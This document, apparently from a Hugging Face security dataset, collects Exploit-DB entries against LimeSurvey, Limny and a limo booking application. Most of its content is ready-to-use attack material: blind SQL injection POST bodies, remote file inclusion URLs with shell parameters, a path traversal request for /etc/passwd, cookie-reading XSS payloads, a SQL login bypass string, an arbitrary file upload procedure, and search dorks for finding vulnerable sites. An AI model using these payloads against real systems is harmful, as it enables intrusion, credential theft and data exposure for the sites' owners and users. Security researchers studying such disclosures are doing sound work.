deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18508
Description: LimeSurvey (PHPSurveyor 1.91+ stable) - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-02-22
Author: TorTukiTu

Exploit:
# Exploit Title: LimeSurvey Blind SQL injection
# Date: 20/02/2012
# Author: TorTukiTu - OpenSphere
# Version: 1.91+ build 11804
# Tested on: php

{cke_protected}{C}{cke_protected}{C}

-------------------------------------------------------------------------


# TorTukiTu - Killing Tortoise

 
#        ,-"""-. 
#   oo._/ \___/ \ 
#  (____)_/___\__\_) 
#      /_//   \\_\ 
# 



 

# Cookie hacking + Blind SQL Injection

 

# The vulnerability occurs when a user answers a survey (index.php).

# The session variables can be freely hacked using the following lines in save.php l.82 :

#             if (isset($_POST[$pf])) {$_SESSION[$pf] = $_POST[$pf];}

#            if (!isset($_POST[$pf])) {$_SESSION[$pf] = "";}

# $pf is user input in the POST variable

# once splitted, SQL request is directly build from those sessions variable by function createinsertquery(),

# if a special Post variable 'srid' is set both in the variable

# 'fieldnames' and as simple POST variable (query l. 715 save.php).

# The user can realize blind SQL injections with specially crafted POST variables.

 

# Normal POST variables example:

 

fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003

MULTI17165X6X18=8

tbdisp17...

...

start_time=[PII_REDACTED]

 

# Craft POST variables like this :

 

fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C[VALID FIELD ID]` = [SQL INJECTION]--%7Csrid

MULTI17165X6X18=8

tbdisp17...

...

start_time=[PII_REDACTED]

srid=[SOME INTEGER]

 

#Example : Blind SQL user name guessing :

fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C17165X6X18SQ001` = NULL WHERE id=6 AND id IN ( SELECT IF ( (SELECT SUBSTRING(users_name,1) FROM lime_users WHERE uid=1) LIKE 'a%', 1, SLEEP(5)))--%7Csrid

MULTI17165X6X18=8

tbdisp17...

...

start_time=[PII_REDACTED]

srid=42

 

 

-------------------------------------------------------------------------
Exploit-DB #4156
Description: LimeSurvey (phpsurveyor) 1.49rc2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-06
Author: Yakir Wizman

Exploit:
## Owner : Pr0T3cT10n
## Email : Pr0T3cT10n@Gmail.Com
## Homepage : www.kamikaz-team.com
## Script site : www.limesurvey.org
## Script name : LimeSurvey (PHPSurveyor)
## Version : 1.49RC2
## Type : RFI(Remote File Include)
## Source : http://sourceforge.net/project/showfiles.php?group_id=74605
## D0rk : "You have not provided a survey identification number"

## Bug :
	## Files :
		## /admin/classes/pear/OLE/PPS/File.php
		## /admin/classes/pear/OLE/PPS/Root.php
		## /admin/classes/pear/Spreadsheet/Excel/Writer.php
		## /admin/classes/pear/OLE/PPS.php
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Format.php
		## /admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php

## Exploit :
		## /admin/classes/pear/OLE/PPS/File.php?homedir=[shell]
		## /admin/classes/pear/OLE/PPS/Root.php?homedir=[shell]
		## /admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=[shell]
		## /admin/classes/pear/OLE/PPS.php?homedir=[shell]
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir=[shell]
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php?homedir=[shell]
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php?homedir=[shell]
		## /admin/classes/pear/Spreadsheet/Excel/Writer/Format.php?homedir=[shell]
		## /admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php?homedir=[shell]
		
## Thanks : str0ke

# milw0rm.com [2007-07-06]
Exploit-DB #4544
Description: LimeSurvey 1.52 - 'language.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-17
Author: S.W.A.T.

Exploit:
                      \\\|///
                    \\  - -  //      Xmors Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  LimeSurvey (PHPSurveyor) 1.52 plus_build 2007.10.16
              Download :  http://garr.dl.sourceforge.net/sourceforge/limesurvey/limesurvey152plus_build3386_20071016.zip
	      Author   :  S.W.A.T.
	      HomePage :  wWw.XmorS.CoM
	      Type     :  Remote File Inclusion
              Y! ID    :  Svvateam
              E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
              Dork     :  "You have not provided a survey identification number"
              Dork2    :  "LimeSurvey"
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/

+---------------------------------------------------------------------------------------------+

Vuln Code :

require_once($rootdir.'/classes/php-gettext/gettext.php');

require_once($rootdir.'/classes/php-gettext/streams.php');

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/classes/core/language.php?rootdir=[-Sh3ll-]


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-17]
Exploit-DB #35787
Description: LimeSurvey 1.85+ - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-19
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/47931/info

LimeSurvey is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LimeSurvey 1.85+ is vulnerable; other versions may also be affected.

POST /admin/admin.php HTTP/1.1
Content-Length: 110
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif,
image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.mspowerpoint,
application/msword, application/x-shockwave-flash, */*
Referer: http://xxx.xxx.xxx.xxx/admin/admin.php
Accept-Language: es-AR
Content-Type: application/x-www-form-urlencoded
Host: xxx.xxx.xxx.xxx
Pragma: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
user=admin&[CREDENTIAL_REDACTED]=default&action=login&refererargs="/><script
>alert(document.cookie)</script>
Exploit-DB #29789
Description: LimeSurvey 2.00+ (build 131107) - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-11-23
Author: LiquidWorm

Exploit:

LimeSurvey v2.00+ (build 131107) Script Insertion And SQL Injection Vulnerability


Vendor: LimeSurvey Project Team
Product web page: http://www.limesurvey.org

Affected version: 2.00+ build 131009
                  2.00+ build 131022
                  2.00+ build 131031
                  2.00+ build 131107

Summary: LimeSurvey (formerly PHPSurveyor) is a free and open source
on-line survey application written in PHP based on a MySQL, PostgreSQL
or MSSQL database, distributed under the GNU General Public License. As
a web server-based software it enables users to develop and publish on-line
surveys, and collect responses, without doing any programming.

Desc: LimeSurvey suffers from a stored cross-site scripting and SQL Injection
vulnerability. Input passed to the 'label_name' POST parameter is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site. Input passed to the 'group_name' POST parameter is not properly
sanitised before being used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2013-5161
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5161.php

Vendor: http://www.limesurvey.org/en/stable-release



19.11.2013

--


XSS:
----------------------------------------------------------------------------------

POST /limesurvey/index.php/admin/labels/sa/process HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: joxypoxy/1.0
Connection: close
Referer: http://localhost/limesurvey/index.php/admin/labels/sa/newlabelset
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1

label_name=Zero+Science+Lab"<script>alert(document.cookie)</script>&additional_languages=he&action=insertlabelset&languageids=he&available_languages=am

----------------------------------------------------------------------------------




SQLi:
----------------------------------------------------------------------------------

POST /limesurvey/index.php/admin/usergroups/sa/add HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: joxypoxy/1.0
Connection: close
Referer: http://localhost/limesurvey/index.php/admin/usergroups/sa/add
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1

group_name=Zero+Science+Lab'&action=usergroupindb

----------------------------------------------------------------------------------
Exploit-DB #48297
Description: LimeSurvey 4.1.11 - 'File Manager' Path Traversal
Type: webapps
Platform: php
Date: 2020-04-06
Author: Matthew Aberegg

Exploit:
# Exploit Title: LimeSurvey 4.1.11 - 'File Manager' Path Traversal
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11455

# Vulnerability Details
# Description : A path traversal vulnerability exists within the "File Manager" functionality of LimeSurvey
# that allows an attacker to download arbitrary files.  The file manager functionality will also 
# delete the file after it is downloaded (if the web service account has permissions to do so), 
# allowing an attacker to cause a denial of service by specifying a critical LimeSurvey configuration file.
Vulnerable Parameter : "path"


# POC
https://TARGET/limesurvey/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd
Exploit-DB #48523
Description: LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-27
Author: Matthew Aberegg

Exploit:
# Exploit Title: LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting 
# Date: 05/26/2020
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# Patch Link: https://github.com/LimeSurvey/LimeSurvey/commit/2aada33c76efbbc35d33c149ac02b1dc16a81f62


# Vulnerability Details
Description : A stored cross-site scripting vulnerability exists within the "Permission Roles" functionality of the LimeSurvey administration panel.
Vulnerable Parameters : Permissiontemplates[name], Permissiontemplates[description]


# POC
# Exploit Details : The following request will create a permission role with an XSS payload as the role name and description.  


POST /limesurvey/index.php/admin/roles/sa/applyedit HTTP/1.1
Host: TARGET
Content-Length: 443
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://TARGET
Referer: http://TARGET/limesurvey/index.php/admin/roles
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: YII_CSRF_TOKEN=RWc3emx-NVhlfm1xamJhRkVSWGlkc1lRfmR5U0RRalYzu7h7NfgUoNTY6kMmTkPkB3J0_IsbOQQEMfsWGmt0Pg%3D%3D; LS-ERXSBPYJOOGIGFYW=m4qshhf7m76ifsm6k0v1vq084h
Connection: close

YII_CSRF_TOKEN=RWc3emx-NVhlfm1xamJhRkVSWGlkc1lRfmR5U0RRalYzu7h7NfgUoNTY6kMmTkPkB3J0_IsbOQQEMfsWGmt0Pg%3D%3D&Permissiontemplates%5Bptid%5D=&Permissiontemplates%5Bname%5D=%3Cimg+src%3D%2F+onerror%3Dalert(1)%3E&Permissiontemplates%5Bdescription%5D=%3Cimg+src%3D%2F+onerror%3Dalert(1)%3E&Permissiontemplates%5Brenewed_last%5D=2020-03-31+17%3A51%3A02&Permissiontemplates%5Bcreated_at%5D=2020-03-31+17%3A51%3A02&Permissiontemplates%5Bcreated_by%5D=1
Exploit-DB #48289
Description: LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-04-06
Author: Matthew Aberegg

Exploit:
# Exploit Title: LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting 
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11456

# Vulnerability Details
Description : A stored cross-site scripting vulnerability exists within the "Survey Groups" functionality of the LimeSurvey administration panel.
Vulnerable Parameter : "title"


# POC
POST /limesurvey/index.php/admin/surveysgroups/sa/create HTTP/1.1
Host: TARGET
Content-Length: 374
Cache-Control: max-age=0
Origin: http://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://TARGET/limesurvey/index.php/admin/surveysgroups/sa/create
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: LS-ERXSBPYJOOGIGFYW=7ge1q4rvsdgs0b6usksh3j5lb0; YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D
Connection: close

YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D&SurveysGroups%5Bowner_id%5D=&SurveysGroups%5Bgsid%5D=&SurveysGroups%5Bname%5D=XSSTEST&SurveysGroups%5Btitle%5D=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&SurveysGroups%5Bdescription%5D=This+is+a+test.&SurveysGroups%5Bsortorder%5D=4&SurveysGroups%5Bparent_id%5D=&yt0=
Exploit-DB #51926
Description: LimeSurvey Community 5.3.32 - Stored XSS
Type: webapps
Platform: php
Date: 2024-03-25
Author: Subhankar Singh

Exploit:
# Exploit Title: Stored Cross-Site Scripting (XSS) in LimeSurvey Community
Edition Version 5.3.32+220817
# Exploit Author: Subhankar Singh
# Date: 2024-02-03
# Vendor: LimeSurvey
# Software Link: https://community.limesurvey.org/releases/
# Version: LimeSurvey Community Edition Version 5.3.32+220817
# Tested on: Windows (Client)
# CVE: CVE-2024-24506

## Description:

A critical security vulnerability exists in LimeSurvey Community Edition
Version 5.3.32+220817, particularly in the "General Setting"
functionality's "Administrator email address:" field. This allows an
attacker to compromise the super-admin account, leading to potential theft
of cookies and session tokens.

## Background:

Cross-site scripting (XSS) is a common web security vulnerability that
compromises user interactions with a vulnerable application. Stored XSS
occurs when user input is stored in the application and executed whenever a
user triggers or visits the page.

## Issue:

LimeSurvey fails to properly validate user-supplied input on both client
and server sides, despite some protective measures. The "Administrator
email address:" field within the "General Setting" functionality permits
the insertion of special characters, enabling the injection of malicious
JavaScript payloads. These payloads are stored in the database and executed
when the user saves or reloads the page.

## Steps To Reproduce:

1. Log into the LimeSurvey application.
2. Navigate to the general settings.
3. Insert the following JavaScript payload in the "Administrator email
address:" field:
Payload: `abcxyz@gmail.com"><u>s</u><svg
onload=confirm(document.domain)>`

## Expected Result:

The LimeSurvey application should display an alert with the domain after
clicking save and reloading the page.

## Actual Result:

The LimeSurvey application is vulnerable to Stored Cross-Site Scripting, as
evidenced by the successful execution of the injected payload.

## Proof of Concept:

Attached Screenshots for the reference.
Exploit-DB #37554
Description: Limny - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-07-31
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/54753/info

Limny is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Limny 3.3.1 is vulnerable; other versions may also be affected. 

 http://www.example.com/limny-3.3.1/index.php?q=-1' or 57 = '55 [SQL
Exploit-DB #11377
Description: Limny 1.01 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-09
Author: JIKO

Exploit:
----------[exploit Debut]
[Remote File Upload Vulnerability]
----------[Script Info]

Moi    : JIKO
Site    : No-exploit.Com
Email    : :(

----------[Script Info]

Site:http    : limny.org

----------[exploit Info]

1]~[3 Action]
    the first setup register if the register active
http://server/Path/
    the second setup go to edit your  avatar
http://server/limny/uajax.php?page=avatar&id=[ your ID or id for a member you can change here avatar]
    now go to
path/uploads/[your file || jawa.php]

----------[Thanks]
  HxH, Cyb3r-DeViL, The Sadhacker, kasper,  SkuLL-HacKeR Member No-exploit.Com,all friends
----------[exploit Fin]
Exploit-DB #9281
Description: Limny 1.01 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-27
Author: SirGod

Exploit:
###########################################################################################
[+] Limny 1.01 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Script Homepage : http://www.limny-project.com/

[+] SQL Injection Vulnerability

 - Notes : magic_quotes_gpc = off

 - Vulnerable code in includes/functions.php

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

function CheckLogin($username, $password)
{
	global $db;
	$query = $db->query("SELECT user, pass FROM ".TABLE_PREFIX."users
WHERE user='$username' AND pass='$password'");
	if($check = $db->fetch_array($query))
	{
		return true;
	}else{
		return false;
	}
}

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

   Username : [REAL-ADMIN-NAME] ' or ' 1=1
   [CREDENTIAL_REDACTED]

[REAL-ADMIN-NAME] = usually is admin

############################################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #34198
Description: Limny 2.1 - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41152/info

Limny is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Limny versions prior to 2.2 are vulnerable. 

http://www.example.com/?q=user%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #36494
Description: Limny 3.0.1 - 'login.php' Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-04
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/51261/info

Limny is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Limny 3.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/login.php/"/><script>alert(&#039;zsl&#039;)</script>
Exploit-DB #51744
Description: Limo Booking Software v1.0 - CORS
Type: webapps
Platform: php
Date: 2023-10-09
Author: nu11secur1ty

Exploit:
## Title: Limo Booking Software v1.0 - CORS 
## Author: nu11secur1ty
## Date: 09/08/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/limo-booking-software/#sectionDemo
## Reference: https://portswigger.net/web-security/cors

## Description:
The application implements an HTML5 cross-origin resource sharing
(CORS) policy for this request that allows access from any domain.
The application allowed access from the requested origin http://wioydcbiourl.com
Since the Vary: Origin header was not present in the response, reverse
proxies and intermediate servers may cache it. This may enable an
attacker to carry out cache poisoning attacks. The attacker can get
some of the software resources of the victim without the victim
knowing this.

STATUS: HIGH Vulnerability

[+]Test Payload:
```
GET /[PII_REDACTED]_198/index.php?controller=pjFrontPublic&action=pjActionFleets&locale=1&index=2795
HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141
Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://wioydcbiourl.com
Referer: http://demo.phpjabbers.com/
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Limo-Booking-Software-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/09/limo-booking-software-10-cors.html)

## Time spent:
00:35:00